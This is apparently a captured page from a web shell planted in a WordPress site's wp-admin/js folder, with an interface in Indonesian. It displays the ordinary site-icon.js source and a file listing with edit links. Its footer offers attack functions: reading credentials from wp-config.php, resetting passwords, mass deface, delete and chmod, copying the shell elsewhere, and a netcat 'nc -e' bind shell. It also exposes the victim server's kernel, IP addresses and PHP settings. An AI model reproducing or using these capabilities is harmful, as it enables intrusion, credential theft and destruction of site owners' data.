WPZ

/ data / web / 1 / 000 / 076 / 129 / 313906 / htdocs / web_styroporzuschnitte24 / wp-admin / js / [dxwrx-rx-r]
berkas terminal database massal sistem
/data/web/1/000/076/129/313906/htdocs/web_styroporzuschnitte24/wp-admin/js/site-icon.js (6.69 KB)
/**
 * Handle the site icon setting in options-general.php.
 *
 * @since 6.5.0
 * @output wp-admin/js/site-icon.js
 */

/* global jQuery, wp */

( function ( $ ) {
	var $chooseButton = $( '#choose-from-library-button' ),
		$iconPreview = $( '#site-icon-preview' ),
		$browserIconPreview = $( '#browser-icon-preview' ),
		$appIconPreview = $( '#app-icon-preview' ),
		$hiddenDataField = $( '#site_icon_hidden_field' ),
		$removeButton = $( '#js-remove-site-icon' ),
		$adminBarSiteName = $( '#wp-admin-bar-site-name' ),
		$adminBarSiteNameLink = $adminBarSiteName.children( 'a' ).first(),
		frame;

	/**
	 * Calculate image selection options based on the attachment dimensions.
	 *
	 * @since 6.5.0
	 *
	 * @param {Object} attachment The attachment object representing the image.
	 * @return {Object} The image selection options.
	 */
	function calculateImageSelectOptions( attachment ) {
		var realWidth = attachment.get( 'width' ),
			realHeight = attachment.get( 'height' ),
			xInit = 512,
			yInit = 512,
			ratio = xInit / yInit,
			xImg = xInit,
			yImg = yInit,
			x1,
			y1,
			imgSelectOptions;

		if ( realWidth / realHeight > ratio ) {
			yInit = realHeight;
			xInit = yInit * ratio;
		} else {
			xInit = realWidth;
			yInit = xInit / ratio;
		}

		x1 = ( realWidth - xInit ) / 2;
		y1 = ( realHeight - yInit ) / 2;

		imgSelectOptions = {
			aspectRatio: xInit + ':' + yInit,
			handles: true,
			keys: true,
			instance: true,
			persistent: true,
			imageWidth: realWidth,
			imageHeight: realHeight,
			minWidth: xImg > xInit ? xInit : xImg,
			minHeight: yImg > yInit ? yInit : yImg,
			x1: x1,
			y1: y1,
			x2: xInit + x1,
			y2: yInit + y1,
		};

		return imgSelectOptions;
	}

	/**
	 * Initializes the media frame for selecting or cropping an image.
	 *
	 * @since 6.5.0
	 */
	$chooseButton.on( 'click', function () {
		var $el = $( this );

		// Create the media frame.
		frame = wp.media( {
			button: {
				// Set the text of the button.
				text: $el.data( 'update' ),

				// Don't close, we might need to crop.
				close: false,
			},
			states: [
				new wp.media.controller.Library( {
					title: $el.data( 'choose-text' ),
					library: wp.media.query( { type: 'image' } ),
					date: false,
					suggestedWidth: $el.data( 'size' ),
					suggestedHeight: $el.data( 'size' ),
				} ),
				new wp.media.controller.SiteIconCropper( {
					control: {
						params: {
							width: $el.data( 'size' ),
							height: $el.data( 'size' ),
						},
					},
					imgSelectOptions: calculateImageSelectOptions,
				} ),
			],
		} );

		frame.on( 'cropped', function ( attachment ) {
			$hiddenDataField.val( attachment.id );
			switchToUpdate( attachment );
			frame.close();

			// Start over with a frame that is so fresh and so clean clean.
			frame = null;
		} );

		// When an image is selected, run a callback.
		frame.on( 'select', function () {
			// Grab the selected attachment.
			var attachment = frame.state().get( 'selection' ).first();

			if (
				attachment.attributes.height === $el.data( 'size' ) &&
				$el.data( 'size' ) === attachment.attributes.width
			) {
				switchToUpdate( attachment.attributes );
				frame.close();

				// Set the value of the hidden input to the attachment id.
				$hiddenDataField.val( attachment.id );
			} else {
				frame.setState( 'cropper' );
			}
		} );

		frame.open();
	} );

	/**
	 * Update the UI when a site icon is selected.
	 *
	 * @since 6.5.0
	 *
	 * @param {array} attributes The attributes for the attachment.
	 */
	function switchToUpdate( attributes ) {
		var i18nAppAlternativeString, i18nBrowserAlternativeString;

		if ( attributes.alt ) {
			i18nAppAlternativeString = wp.i18n.sprintf(
				/* translators: %s: The selected image alt text. */
				wp.i18n.__( 'App icon preview: Current image: %s' ),
				attributes.alt
			);
			i18nBrowserAlternativeString = wp.i18n.sprintf(
				/* translators: %s: The selected image alt text. */
				wp.i18n.__( 'Browser icon preview: Current image: %s' ),
				attributes.alt
			);
		} else {
			i18nAppAlternativeString = wp.i18n.sprintf(
				/* translators: %s: The selected image filename. */
				wp.i18n.__(
					'App icon preview: The current image has no alternative text. The file name is: %s'
				),
				attributes.filename
			);
			i18nBrowserAlternativeString = wp.i18n.sprintf(
				/* translators: %s: The selected image filename. */
				wp.i18n.__(
					'Browser icon preview: The current image has no alternative text. The file name is: %s'
				),
				attributes.filename
			);
		}

		// Set site-icon-img src and alternative text to app icon preview.
		$appIconPreview.attr( {
			src: attributes.url,
			alt: i18nAppAlternativeString,
		} );

		// Set site-icon-img src and alternative text to browser preview.
		$browserIconPreview.attr( {
			src: attributes.url,
			alt: i18nBrowserAlternativeString,
		} );

		// Remove hidden class from icon preview div and remove button.
		$iconPreview.removeClass( 'hidden' );
		$removeButton.removeClass( 'hidden' );

		// Set the global CSS variable for --site-icon-url to the selected image URL.
		document.documentElement.style.setProperty(
			'--site-icon-url',
			'url(' + attributes.url + ')'
		);

		// Replace the site icon in the admin bar.
		$adminBarSiteNameLink.children( 'img.site-icon' ).remove();
		$( '<img />' )
			.attr( {
				class: 'site-icon',
				src: attributes.url,
				alt: '',
				width: 20,
				height: 20,
			} )
			.prependTo( $adminBarSiteNameLink );
		$adminBarSiteName.addClass( 'has-site-icon' );

		// If the choose button is not in the update state, swap the classes.
		if ( $chooseButton.attr( 'data-state' ) !== '1' ) {
			$chooseButton.attr( {
				class: $chooseButton.attr( 'data-alt-classes' ),
				'data-alt-classes': $chooseButton.attr( 'class' ),
				'data-state': '1',
			} );
		}

		// Swap the text of the choose button.
		$chooseButton.text( $chooseButton.attr( 'data-update-text' ) );
	}

	/**
	 * Handles the click event of the remove button.
	 *
	 * @since 6.5.0
	 */
	$removeButton.on( 'click', function () {
		$hiddenDataField.val( 'false' );
		$( this ).toggleClass( 'hidden' );
		$iconPreview.toggleClass( 'hidden' );
		$browserIconPreview.attr( {
			src: '',
			alt: '',
		} );
		$appIconPreview.attr( {
			src: '',
			alt: '',
		} );

		// Remove the site icon from the admin bar.
		$adminBarSiteNameLink.children( 'img.site-icon' ).remove();
		$adminBarSiteName.removeClass( 'has-site-icon' );

		/**
		 * Resets state to the button, for correct visual style and state.
		 * Updates the text of the button.
		 * Sets focus state to the button.
		 */
		$chooseButton
			.attr( {
				class: $chooseButton.attr( 'data-alt-classes' ),
				'data-alt-classes': $chooseButton.attr( 'class' ),
				'data-state': '',
			} )
			.text( $chooseButton.attr( 'data-choose-text' ) )
			.trigger( 'focus' );
	} );
} )( jQuery );
namawaktuukuranownerpermaksi
..
widgets/ 2018-02-08 19:20136.14 KB 76129f60960:kundendxwrx-rx-r
accordion.js 2026-10-22 10:472.86 KB 76129f60960:kunden-xw-x--x--
edt
accordion.min.js 2026-10-22 10:47758 B 76129f60960:kunden-xw-x--x--
edt
application-passwords.js 2024-01-20 23:476.24 KB 76129f60960:kunden-xw-x-----
edt
application-passwords.min.js 2024-01-20 23:472.95 KB 76129f60960:kunden-xw-x-----
edt
auth-app.js 2021-07-24 19:085.66 KB 76129f60960:kunden-xw-x-----
edt
auth-app.min.js 2023-02-04 23:482.04 KB 76129f60960:kunden-xw-x-----
edt
code-editor.js 2026-10-22 10:4717.54 KB 76129f60960:kunden-xw-x--x--
edt
code-editor.min.js 2026-10-22 10:473.46 KB 76129f60960:kunden-xw-x--x--
edt
color-picker.js 2021-07-24 19:089.54 KB 76129f60960:kunden-xw-x-----
edt
color-picker.min.js 2023-02-04 23:483.4 KB 76129f60960:kunden-xw-x-----
edt
comment.js 2026-10-22 10:475.08 KB 76129f60960:kunden-xw-x--x--
edt
comment.min.js 2026-10-22 10:472.03 KB 76129f60960:kunden-xw-x--x--
edt
common.js 2026-10-22 10:4768.79 KB 76129f60960:kunden-xw-x--x--
edt
common.min.js 2026-10-22 10:4725.61 KB 76129f60960:kunden-xw-x--x--
edt
custom-background.js 2021-07-24 19:083.35 KB 76129f60960:kunden-xw-x-----
edt
custom-background.min.js 2021-07-24 19:081.18 KB 76129f60960:kunden-xw-x-----
edt
custom-header.js 2021-07-24 19:081.98 KB 76129f60960:kunden-xw-x-----
edt
customize-controls.js 2026-10-22 10:47288.97 KB 76129f60960:kunden-xw-x--x--
edt
customize-controls.min.js 2026-10-22 10:47109.9 KB 76129f60960:kunden-xw-x--x--
edt
customize-nav-menus.js 2026-10-22 10:47111.46 KB 76129f60960:kunden-xw-x--x--
edt
customize-nav-menus.min.js 2026-10-22 10:4747.14 KB 76129f60960:kunden-xw-x--x--
edt
customize-widgets.js 2024-08-09 01:0170.05 KB 76129f60960:kunden-xw-x-----
edt
customize-widgets.min.js 2026-10-22 10:4727.41 KB 76129f60960:kunden-xw-x--x--
edt
dashboard.js 2026-10-22 10:4726.92 KB 76129f60960:kunden-xw-x--x--
edt
dashboard.min.js 2026-10-22 10:478.51 KB 76129f60960:kunden-xw-x--x--
edt
edit-comments.js 2026-10-22 10:4737.25 KB 76129f60960:kunden-xw-x--x--
edt
edit-comments.min.js 2026-10-22 10:4715.15 KB 76129f60960:kunden-xw-x--x--
edt
editor-expand.js 2024-08-09 01:0141.61 KB 76129f60960:kunden-xw-x-----
edt
editor-expand.min.js 2023-07-04 19:0313.14 KB 76129f60960:kunden-xw-x-----
edt
editor.js 2026-10-22 10:4744 KB 76129f60960:kunden-xw-x--x--
edt
editor.min.js 2026-10-22 10:4712.78 KB 76129f60960:kunden-xw-x--x--
edt
farbtastic.js 2023-09-21 23:247.67 KB 76129f60960:kunden-xw-x-----
edt
gallery.js 2024-01-20 23:475.41 KB 76129f60960:kunden-xw-x-----
edt
gallery.min.js 2024-01-20 23:473.65 KB 76129f60960:kunden-xw-x-----
edt
image-edit.js 2026-10-22 10:4739.98 KB 76129f60960:kunden-xw-x--x--
edt
image-edit.min.js 2026-10-22 10:4715.15 KB 76129f60960:kunden-xw-x--x--
edt
inline-edit-post.js 2026-10-22 10:4720.19 KB 76129f60960:kunden-xw-x--x--
edt
inline-edit-post.min.js 2026-10-22 10:479.36 KB 76129f60960:kunden-xw-x--x--
edt
inline-edit-tax.js 2021-07-24 19:087.61 KB 76129f60960:kunden-xw-x-----
edt
inline-edit-tax.min.js 2021-07-24 19:082.93 KB 76129f60960:kunden-xw-x-----
edt
iris.min.js 2023-02-04 23:4823.09 KB 76129f60960:kunden-xw-x-----
edt
language-chooser.js 2021-07-24 19:08890 B 76129f60960:kunden-xw-x-----
edt
language-chooser.min.js 2021-07-24 19:08423 B 76129f60960:kunden-xw-x-----
edt
link.js 2026-10-22 10:474.76 KB 76129f60960:kunden-xw-x--x--
edt
link.min.js 2026-10-22 10:472.26 KB 76129f60960:kunden-xw-x--x--
edt
media-gallery.js 2021-07-24 19:081.27 KB 76129f60960:kunden-xw-x-----
edt
media-gallery.min.js 2023-02-04 23:48611 B 76129f60960:kunden-xw-x-----
edt
media-upload.js 2021-07-24 19:083.38 KB 76129f60960:kunden-xw-x-----
edt
media-upload.min.js 2023-07-04 19:031.13 KB 76129f60960:kunden-xw-x-----
edt
media.js 2026-10-22 10:476.61 KB 76129f60960:kunden-xw-x--x--
edt
media.min.js 2026-10-22 10:472.38 KB 76129f60960:kunden-xw-x--x--
edt
nav-menu.js 2026-10-22 10:4761.15 KB 76129f60960:kunden-xw-x--x--
edt
nav-menu.min.js 2026-10-22 10:4730.06 KB 76129f60960:kunden-xw-x--x--
edt
password-strength-meter.js 2021-07-24 19:084.14 KB 76129f60960:kunden-xw-x-----
edt
password-strength-meter.min.js 2021-07-24 19:081.1 KB 76129f60960:kunden-xw-x-----
edt
password-toggle.js 2023-09-21 23:241.31 KB 76129f60960:kunden-xw-x-----
edt
password-toggle.min.js 2023-09-21 23:24847 B 76129f60960:kunden-xw-x-----
edt
plugin-install.js 2026-10-22 10:476.92 KB 76129f60960:kunden-xw-x--x--
edt
plugin-install.min.js 2026-10-22 10:472.35 KB 76129f60960:kunden-xw-x--x--
edt
post.js 2026-10-22 10:4739.54 KB 76129f60960:kunden-xw-x--x--
edt
post.min.js 2026-10-22 10:4718.96 KB 76129f60960:kunden-xw-x--x--
edt
postbox.js 2026-10-22 10:4718.49 KB 76129f60960:kunden-xw-x--x--
edt
postbox.min.js 2026-10-22 10:476.6 KB 76129f60960:kunden-xw-x--x--
edt
privacy-tools.js 2026-10-22 10:4710.88 KB 76129f60960:kunden-xw-x--x--
edt
privacy-tools.min.js 2026-10-22 10:475.07 KB 76129f60960:kunden-xw-x--x--
edt
revisions.js 2026-10-22 10:4733.92 KB 76129f60960:kunden-xw-x--x--
edt
revisions.min.js 2026-10-22 10:4717.97 KB 76129f60960:kunden-xw-x--x--
edt
set-post-thumbnail.js 2021-01-14 01:34876 B 76129f60960:kunden-xw-x-----
edt
set-post-thumbnail.min.js 2021-01-14 01:34620 B 76129f60960:kunden-xw-x-----
edt
site-health.js 2026-10-22 10:4713.55 KB 76129f60960:kunden-xw-x--x--
edt
site-health.min.js 2026-10-22 10:476.32 KB 76129f60960:kunden-xw-x--x--
edt
site-icon.js 2026-10-22 10:476.69 KB 76129f60960:kunden-xw-x--x--
edt
site-icon.min.js 2026-10-22 10:472.47 KB 76129f60960:kunden-xw-x--x--
edt
svg-painter.js 2026-10-22 10:473.2 KB 76129f60960:kunden-xw-x--x--
edt
svg-painter.min.js 2026-10-22 10:471.53 KB 76129f60960:kunden-xw-x--x--
edt
tags-box.js 2021-07-24 19:0810.88 KB 76129f60960:kunden-xw-x-----
edt
tags-box.min.js 2023-07-04 19:033 KB 76129f60960:kunden-xw-x-----
edt
tags-suggest.js 2024-08-09 01:015.64 KB 76129f60960:kunden-xw-x-----
edt
tags-suggest.min.js 2024-08-09 01:012.22 KB 76129f60960:kunden-xw-x-----
edt
tags.js 2026-10-22 10:477.66 KB 76129f60960:kunden-xw-x--x--
edt
tags.min.js 2026-10-22 10:473.04 KB 76129f60960:kunden-xw-x--x--
edt
theme-plugin-editor.js 2026-10-22 10:4725.56 KB 76129f60960:kunden-xw-x--x--
edt
theme-plugin-editor.min.js 2026-10-22 10:4711.82 KB 76129f60960:kunden-xw-x--x--
edt
theme.js 2026-10-22 10:4756.07 KB 76129f60960:kunden-xw-x--x--
edt
theme.min.js 2026-10-22 10:4726.91 KB 76129f60960:kunden-xw-x--x--
edt
updates.js 2026-10-22 10:47109.37 KB 76129f60960:kunden-xw-x--x--
edt
updates.min.js 2026-10-22 10:4747.31 KB 76129f60960:kunden-xw-x--x--
edt
user-profile.js 2026-10-22 10:4717.74 KB 76129f60960:kunden-xw-x--x--
edt
user-profile.min.js 2026-10-22 10:477.73 KB 76129f60960:kunden-xw-x--x--
edt
user-suggest.js 2021-07-24 19:082.25 KB 76129f60960:kunden-xw-x-----
edt
user-suggest.min.js 2021-07-24 19:08676 B 76129f60960:kunden-xw-x-----
edt
widgets.js 2021-07-24 19:0822.56 KB 76129f60960:kunden-xw-x-----
edt
widgets.min.js 2023-07-04 19:0312.31 KB 76129f60960:kunden-xw-x-----
edt
word-count.js 2021-01-14 01:347.52 KB 76129f60960:kunden-xw-x-----
edt
word-count.min.js 2023-07-04 19:031.49 KB 76129f60960:kunden-xw-x-----
edt
xfn.js 2021-07-24 19:08740 B 76129f60960:kunden-xw-x-----
edt
xfn.min.js 2021-07-24 19:08458 B 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /data/web/1/000/076/129/313906/htdocs/web_styroporzuschnitte24/wp-admin/js
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK